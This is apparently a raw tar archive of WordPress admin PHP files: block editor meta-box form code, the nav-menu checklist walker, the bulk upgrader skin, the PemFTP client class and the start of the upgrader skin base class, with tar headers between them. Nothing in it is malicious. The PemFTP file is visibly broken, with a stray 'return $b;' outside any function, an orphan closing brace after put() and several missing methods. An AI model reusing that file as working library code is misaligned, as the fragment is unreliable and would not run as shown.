		<?php wp_nonce_field( 'toggle-custom-fields' ); ?>
		<input type="hidden" name="action" value="toggle-custom-fields" />
	</form>
	<?php foreach ( $locations as $location ) : ?>
		<form class="metabox-location-<?php echo esc_attr( $location ); ?>" onsubmit="return false;">
			<div id="poststuff" class="sidebar-open">
				<div id="postbox-container-2" class="postbox-container">
					<?php
					do_meta_boxes(
						$current_screen,
						$location,
						$post
					);
					?>
				</div>
			</div>
		</form>
	<?php endforeach; ?>
	<?php

$meta_boxes_per_location = array();
	foreach ( $locations as $location ) {
		$meta_boxes_per_location[ $location ] = array();

if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ] ) ) {
			continue;
		}

foreach ( $priorities as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ] ) ) {
				continue;
			}

$meta_boxes = (array) $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ];
			foreach ( $meta_boxes as $meta_box ) {
				if ( false == $meta_box || ! $meta_box['title'] ) {
					continue;
				}

// If a meta box is just here for back compat, don't show it in the block editor.
				if ( isset( $meta_box['args']['__back_compat_meta_box'] ) && $meta_box['args']['__back_compat_meta_box'] ) {
					continue;
				}

$meta_boxes_per_location[ $location ][] = array(
					'id'    => $meta_box['id'],
					'title' => $meta_box['title'],
				);
			}
		}
	}

/**
	 * Sadly we probably can not add this data directly into editor settings.
	 *
	 * Some meta boxes need admin_head to fire for meta box registry.
	 * admin_head fires after admin_enqueue_scripts, which is where we create our
	 * editor instance.
	 */
	$script = 'window._wpLoadBlockEditor.then( function() {
		wp.data.dispatch( \'core/edit-post\' ).setAvailableMetaBoxesPerLocation( ' . wp_json_encode( $meta_boxes_per_location ) . ' );
	} );';

wp_add_inline_script( 'wp-edit-post', $script );

/**
	 * When `wp-edit-post` is output in the `<head>`, the inline script needs to be manually printed. Otherwise,
	 * meta boxes will not display because inline scripts for `wp-edit-post` will not be printed again after this point.
	 */
	if ( wp_script_is( 'wp-edit-post', 'done' ) ) {
		printf( "<script type='text/javascript'>\n%s\n</script>\n", trim( $script ) );
	}

/**
	 * If the 'postcustom' meta box is enabled, then we need to perform some
	 * extra initialization on it.
	 */
	$enable_custom_fields = (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true );
	if ( $enable_custom_fields ) {
		$script = "( function( $ ) {
			if ( $('#postcustom').length ) {
				$( '#the-list' ).wpList( {
					addBefore: function( s ) {
						s.data += '&post_id=$post->ID';
						return s;
					},
					addAfter: function() {
						$('table#list-table').show();
					}
				});
			}
		} )( jQuery );";
		wp_enqueue_script( 'wp-lists' );
		wp_add_inline_script( 'wp-lists', $script );
	}

// Reset meta box data.
	$wp_meta_boxes = $_original_meta_boxes;
}

/**
 * Renders the hidden form required for the meta boxes form.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post Current post object.
 */
function the_block_editor_meta_box_post_form_hidden_fields( $post ) {
	$form_extra = '';
	if ( 'auto-draft' === $post->post_status ) {
		$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
	}
	$form_action  = 'editpost';
	$nonce_action = 'update-post_' . $post->ID;
	$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";
	$referer      = wp_get_referer();
	$current_user = wp_get_current_user();
	$user_id      = $current_user->ID;
	wp_nonce_field( $nonce_action );

/*
	 * Some meta boxes hook into these actions to add hidden input fields in the classic post form. For backwards
	 * compatibility, we can capture the output from these actions, and extract the hidden input fields.
	 */
	ob_start();
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_after_title', $post );
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_advanced', $post );
	$classic_output = ob_get_clean();

$classic_elements = wp_html_split( $classic_output );
	$hidden_inputs    = '';
	foreach ( $classic_elements as $element ) {
		if ( 0 !== strpos( $element, '<input ' ) ) {
			continue;
		}

if ( preg_match( '/\stype=[\'"]hidden[\'"]\s/', $element ) ) {
			echo $element;
		}
	}
	?>
	<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_id; ?>" />
	<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post->post_type ); ?>" />
	<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
	<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />

<?php
	if ( 'draft' !== get_post_status( $post ) ) {
		wp_original_referer_field( true, 'previous' );
	}
	echo $form_extra;
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	// Permalink title nonce.
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );

/**
	 * Add hidden input fields to the meta box save form.
	 *
	 * Hook into this action to print `<input type="hidden" ... />` fields, which will be POSTed back to
	 * the server when meta boxes are saved.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post The post that is being edited.
	 */
	do_action( 'block_editor_meta_box_hidden_fields', $post );
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-walker-nav-menu-checklist.php�����������������������������������������������������������������0000604�����������������00000011741�15075125355�0013350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 * @uses Walker_Nav_Menu
 */
class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu {
	/**
	 * @param array $fields
	 */
	public function __construct( $fields = false ) {
		if ( $fields ) {
			$this->db_fields = $fields;
		}
	}

/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent<ul class='children'>\n";
	}

/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent</ul>";
	}

/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 *
	 * @since 3.0.0
	 *
	 * @global int        $_nav_menu_placeholder
	 * @global int|string $nav_menu_selected_id
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param WP_Post  $item   Menu item data object.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 * @param int      $id     Not used.
	 */
	public function start_el( &$output, $item, $depth = 0, $args = null, $id = 0 ) {
		global $_nav_menu_placeholder, $nav_menu_selected_id;

$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval( $_nav_menu_placeholder ) - 1 : -1;
		$possible_object_id    = isset( $item->post_type ) && 'nav_menu_item' === $item->post_type ? $item->object_id : $_nav_menu_placeholder;
		$possible_db_id        = ( ! empty( $item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $item->ID : 0;

$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

$output .= $indent . '<li>';
		$output .= '<label class="menu-item-title">';
		$output .= '<input type="checkbox"' . wp_nav_menu_disabled_check( $nav_menu_selected_id, false ) . ' class="menu-item-checkbox';

if ( ! empty( $item->front_or_home ) ) {
			$output .= ' add-to-top';
		}

$output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="' . esc_attr( $item->object_id ) . '" /> ';

if ( ! empty( $item->label ) ) {
			$title = $item->label;
		} elseif ( isset( $item->post_type ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $item->post_title, $item->ID );
		}

$output .= isset( $title ) ? esc_html( $title ) : esc_html( $item->title );

if ( empty( $item->label ) && isset( $item->post_type ) && 'page' === $item->post_type ) {
			// Append post states.
			$output .= _post_states( $item, false );
		}

$output .= '</label>';

// Menu item hidden fields.
		$output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />';
		$output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="' . esc_attr( $item->object ) . '" />';
		$output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="' . esc_attr( $item->menu_item_parent ) . '" />';
		$output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="' . esc_attr( $item->type ) . '" />';
		$output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="' . esc_attr( $item->title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="' . esc_attr( $item->url ) . '" />';
		$output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="' . esc_attr( $item->target ) . '" />';
		$output .= '<input type="hidden" class="menu-item-attr-title" name="menu-item[' . $possible_object_id . '][menu-item-attr-title]" value="' . esc_attr( $item->attr_title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="' . esc_attr( implode( ' ', $item->classes ) ) . '" />';
		$output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="' . esc_attr( $item->xfn ) . '" />';
	}

}
�������������������������������class-bulk-upgrader-skin.php������������������������������������������������������������������������0000604�����������������00000012275�15075125355�0012101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Bulk_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Bulk Upgrader Skin for WordPress Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
	public $in_loop = false;
	/**
	 * @var string|false
	 */
	public $error = false;

/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'nonce' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

parent::__construct( $args );
	}

/**
	 */
	public function add_strings() {
		$this->upgrader->strings['skin_upgrade_start'] = __( 'The update process is starting. This process may take a while on some hosts, so please be patient.' );
		/* translators: 1: Title of an update, 2: Error message. */
		$this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while updating %1$s: %2$s' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_failed'] = __( 'The update of %s failed.' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_successful'] = __( '%s updated successfully.' );
		$this->upgrader->strings['skin_upgrade_end']       = __( 'All updates have been completed.' );
	}

/**
	 * @param string $string
	 * @param mixed  ...$args Optional text replacements.
	 */
	public function feedback( $string, ...$args ) {
		if ( isset( $this->upgrader->strings[ $string ] ) ) {
			$string = $this->upgrader->strings[ $string ];
		}

if ( strpos( $string, '%' ) !== false ) {
			if ( $args ) {
				$args   = array_map( 'strip_tags', $args );
				$args   = array_map( 'esc_html', $args );
				$string = vsprintf( $string, $args );
			}
		}
		if ( empty( $string ) ) {
			return;
		}
		if ( $this->in_loop ) {
			echo "$string<br />\n";
		} else {
			echo "<p>$string</p>\n";
		}
	}

/**
	 */
	public function header() {
		// Nothing, This will be displayed within a iframe.
	}

/**
	 */
	public function footer() {
		// Nothing, This will be displayed within a iframe.
	}

/**
	 * @param string|WP_Error $error
	 */
	public function error( $error ) {
		if ( is_string( $error ) && isset( $this->upgrader->strings[ $error ] ) ) {
			$this->error = $this->upgrader->strings[ $error ];
		}

if ( is_wp_error( $error ) ) {
			$messages = array();
			foreach ( $error->get_error_messages() as $emessage ) {
				if ( $error->get_error_data() && is_string( $error->get_error_data() ) ) {
					$messages[] = $emessage . ' ' . esc_html( strip_tags( $error->get_error_data() ) );
				} else {
					$messages[] = $emessage;
				}
			}
			$this->error = implode( ', ', $messages );
		}
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
	}

/**
	 */
	public function bulk_header() {
		$this->feedback( 'skin_upgrade_start' );
	}

/**
	 */
	public function bulk_footer() {
		$this->feedback( 'skin_upgrade_end' );
	}

/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		$this->in_loop = true;
		printf( '<h2>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h2>', $title, $this->upgrader->update_current, $this->upgrader->update_count );
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').css("display", "inline-block");</script>';
		// This progress messages div gets moved via JavaScript when clicking on "Show details.".
		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr( $this->upgrader->update_current ) . '"><p>';
		$this->flush_output();
	}

/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		echo '</p></div>';
		if ( $this->error || ! $this->result ) {
			if ( $this->error ) {
				echo '<div class="error"><p>' . sprintf( $this->upgrader->strings['skin_update_failed_error'], $title, '<strong>' . $this->error . '</strong>' ) . '</p></div>';
			} else {
				echo '<div class="error"><p>' . sprintf( $this->upgrader->strings['skin_update_failed'], $title ) . '</p></div>';
			}

echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js( $this->upgrader->update_current ) . '\').show();</script>';
		}
		if ( $this->result && ! is_wp_error( $this->result ) ) {
			if ( ! $this->error ) {
				echo '<div class="updated js-update-details" data-update-details="progress-' . esc_attr( $this->upgrader->update_current ) . '">' .
					'<p>' . sprintf( $this->upgrader->strings['skin_update_successful'], $title ) .
					' <button type="button" class="hide-if-no-js button-link js-update-details-toggle" aria-expanded="false">' . __( 'Show details.' ) . '</button>' .
					'</p></div>';
			}

echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
		}

$this->reset();
		$this->flush_output();
	}

/**
	 */
	public function reset() {
		$this->in_loop = false;
		$this->error   = false;
	}

/**
	 */
	public function flush_output() {
		wp_ob_end_flush_all();
		flush();
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-ftp.php���������������������������������������������������������������������������������������0000604�����������������00000065103�15075125355�0007162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Defines the newline characters, if not defined already.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var string
 */
if(!defined('CRLF')) define('CRLF',"\r\n");

/**
 * Sets whatever to autodetect ASCII mode.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);

/**
 *
 * This can be redefined.
 * @since 2.5.0
 * @var int
 */
if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);

/**
 * Whether to force FTP.
 *
 * This can be redefined.
 *
 * @since 2.5.0
 * @var bool
 */
if(!defined('FTP_FORCE')) define('FTP_FORCE', true);

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Unix','u');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Windows','w');

/**
 * @since 2.5.0
 * @var string
 */
define('FTP_OS_Mac','m');

/**
 * PemFTP base class
 *
 */
class ftp_base {
	/* Public variables */
	var $LocalEcho;
	var $Verbose;
	var $OS_local;
	var $OS_remote;

/* Private variables */
	var $_lastaction;
	var $_errors;
	var $_type;
	var $_umask;
	var $_timeout;
	var $_passive;
	var $_host;
	var $_fullhost;
	var $_port;
	var $_datahost;
	var $_dataport;
	var $_ftp_control_sock;
	var $_ftp_data_sock;
	var $_ftp_temp_sock;
	var $_ftp_buff_size;
	var $_login;
	var $_password;
	var $_connected;
	var $_ready;
	var $_code;
	var $_message;
	var $_can_restore;
	var $_port_available;
	var $_curtype;
	var $_features;

var $_error_array;
	var $AuthorizedTransferMode;
	var $OS_FullName;
	var $_eol_code;
	var $AutoAsciiExt;

/* Constructor */
	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
		$this->LocalEcho=$le;
		$this->Verbose=$verb;
		$this->_lastaction=NULL;
		$this->_error_array=array();
		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
		$this->_port_available=($port_mode==TRUE);
		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
		$this->_connected=FALSE;
		$this->_ready=FALSE;
		$this->_can_restore=FALSE;
		$this->_code=0;
		$this->_message="";
		$this->_ftp_buff_size=4096;
		$this->_curtype=NULL;
		$this->SetUmask(0022);
		$this->SetType(FTP_AUTOASCII);
		$this->SetTimeout(30);
		$this->Passive(!$this->_port_available);
		$this->_login="anonymous";
		$this->_password="anon@ftp.com";
		$this->_features=array();
	    $this->OS_local=FTP_OS_Unix;
		$this->OS_remote=FTP_OS_Unix;
		$this->features=array();
		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
	}

function ftp_base($port_mode=FALSE) {
		$this->__construct($port_mode);
	}

// 
// 
//

return $b;
	}

function SendMSG($message = "", $crlf=true) {
		if ($this->Verbose) {
			echo $message.($crlf?CRLF:"");
			flush();
		}
		return TRUE;
	}

function SetType($mode=FTP_AUTOASCII) {
		if(!in_array($mode, $this->AuthorizedTransferMode)) {
			$this->SendMSG("Wrong type");
			return FALSE;
		}
		$this->_type=$mode;
		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
		return TRUE;
	}

function Passive($pasv=NULL) {
		if(is_null($pasv)) $this->_passive=!$this->_passive;
		else $this->_passive=$pasv;
		if(!$this->_port_available and !$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			$this->_passive=TRUE;
			return FALSE;
		}
		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
		return TRUE;
	}

function SetUmask($umask=0022) {
		$this->_umask=$umask;
		umask($this->_umask);
		$this->SendMSG("UMASK 0".decoct($this->_umask));
		return TRUE;
	}

function SetTimeout($timeout=30) {
		$this->_timeout=$timeout;
		$this->SendMSG("Timeout ".$this->_timeout);
		if($this->_connected)
			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
		return TRUE;
	}

function quit($force=false) {
		if($this->_ready) {
			if(!$this->_exec("QUIT") and !$force) return FALSE;
			if(!$this->_checkCode() and !$force) return FALSE;
			$this->_ready=false;
			$this->SendMSG("Session finished");
		}
		$this->_quit();
		return TRUE;
	}

function pwd() {
		if(!$this->_exec("PWD", "pwd")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message);
	}

function cdup() {
		if(!$this->_exec("CDUP", "cdup")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return true;
	}

function chdir($pathname) {
		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

function rmdir($pathname) {
		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

function mkdir($pathname) {
		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

function rename($from, $to) {
		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		if($this->_code==350) {
			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		} else return FALSE;
		return TRUE;
	}

function abort() {
		if(!$this->_exec("ABOR", "abort")) return FALSE;
		if(!$this->_checkCode()) {
			if($this->_code!=426) return FALSE;
			if(!$this->_readmsg("abort")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		}
		return true;
	}

function systype() {
		if(!$this->_exec("SYST", "systype")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$DATA = explode(" ", $this->_message);
		return array($DATA[1], $DATA[3]);
	}

function delete($pathname) {
		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

function site($command, $fnction="site") {
		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

function chmod($pathname, $mode) {
		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
		return TRUE;
	}

function rawlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
	}

function nlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
	}

function is_exists($pathname) {
		return $this->file_exists($pathname);
	}

function file_exists($pathname) {
		$exists=true;
		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
		else {
			if(!$this->_checkCode()) $exists=FALSE;
			$this->abort();
		}
		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
		else $this->SendMSG("Remote file ".$pathname." does not exist");
		return $exists;
	}

function put($localfile, $remotefile=NULL, $rest=0) {
		if(is_null($remotefile)) $remotefile=$localfile;
		if (!file_exists($localfile)) {
			$this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\"");
			return FALSE;
		}
		$fp = @fopen($localfile, "r");

if (!$fp) {
			$this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\"");
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($localfile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			fclose($fp);
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("STOR ".$remotefile, "put")) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		$ret=$this->_data_write($mode, $fp);
		fclose($fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $ret;
	}

}

function mdel($remote, $continious=false) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
			return false;
		}

foreach($list as $k=>$v) {
			$list[$k]=$this->parselisting($v);
			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
		}
		$ret=true;

foreach($list as $el) {
			if ( empty($el) )
				continue;

if($el["type"]=="d") {
				if(!$this->mdel($remote."/".$el["name"], $continious)) {
					$ret=false;
					if(!$continious) break;
				}
			} else {
				if (!$this->delete($remote."/".$el["name"])) {
					$this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			}
		}

if(!$this->rmdir($remote)) {
			$this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\"");
			$ret=false;
		}
		return $ret;
	}

function mmkdir($dir, $mode = 0777) {
		if(empty($dir)) return FALSE;
		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
		if(!$this->mmkdir(dirname($dir), $mode)) return false;
		$r=$this->mkdir($dir, $mode);
		$this->chmod($dir,$mode);
		return $r;
	}

function glob_regexp($pattern,$probe) {
		$sensitive=(PHP_OS!='WIN32');
		return ($sensitive?
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $probe ) :
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $probe )
		);
	}

function dirlist($remote) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
			return false;
		}

$dirlist = array();
		foreach($list as $k=>$v) {
			$entry=$this->parselisting($v);
			if ( empty($entry) )
				continue;

if($entry["name"]=="." or $entry["name"]=="..")
				continue;

$dirlist[$entry['name']] = $entry;
		}

return $dirlist;
	}
// 
// 
// 
	function _checkCode() {
		return ($this->_code<400 and $this->_code>0);
	}

// 
// 
// 
// Gnre une erreur pour traitement externe  la classe
	function PushError($fctname,$msg,$desc=false){
		$error=array();
		$error['time']=time();
		$error['fctname']=$fctname;
		$error['msg']=$msg;
		$error['desc']=$desc;
		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
		$this->SendMSG($fctname.': '.$msg.$tmp);
		return(array_push($this->_error_array,$error));
	}

// Rcupre une erreur externe
	function PopError(){
		if(count($this->_error_array)) return(array_pop($this->_error_array));
			else return(false);
	}
}

$mod_sockets = extension_loaded( 'sockets' );
if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
	$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
	@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.dlDeprecated
	$mod_sockets = extension_loaded( 'sockets' );
}

require_once __DIR__ . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";

if ( $mod_sockets ) {
	class ftp extends ftp_sockets {}
} else {
	class ftp extends ftp_pure {}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-upgrader-skin.php��������������������������������������������������������������������������0000604�����������������00000014006�15075125355�0011564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: WP_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 */
class WP_Upgrader_Skin {

/**
	 * Holds the upgrader data.
	 *
	 * @since 2.8.0
	 *
	 * @var object
	 */
	public $upgrader;

/**
	 * Whether header is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_header = false;

/**
	 * Whether footer is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_footer = false;

/**
	 * Holds the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var string|bool|WP_Error
	 */
	public $result = false;

/**
	 * Holds the options of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var array
	 */
	public $options = array();

/**
	 * Constructor.
	 *
	 * Sets up the generic skin for the WordPress Upgrader classes.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The WordPress upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults      = array(
			'url'     => '',
			'nonce'   => '',
			'title'   => '',
			'context' => false,
		);
		$this->options = wp_parse_args( $args, $defaults );
	}

/**
	 * @param WP_Upgrader $upgrader
	 */
	public function set_upgrader( &$upgrader ) {
		if ( is_object( $upgrader ) ) {
			$this->upgrader =& $upgrader;
		}
		$this->add_strings();
	}

/**
	 */
	public function add_strings() {
	}

/**
	 * Sets the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @param string|bool|WP_Error $result The result of an upgrade.
	 */
	public function set_result( $result ) {
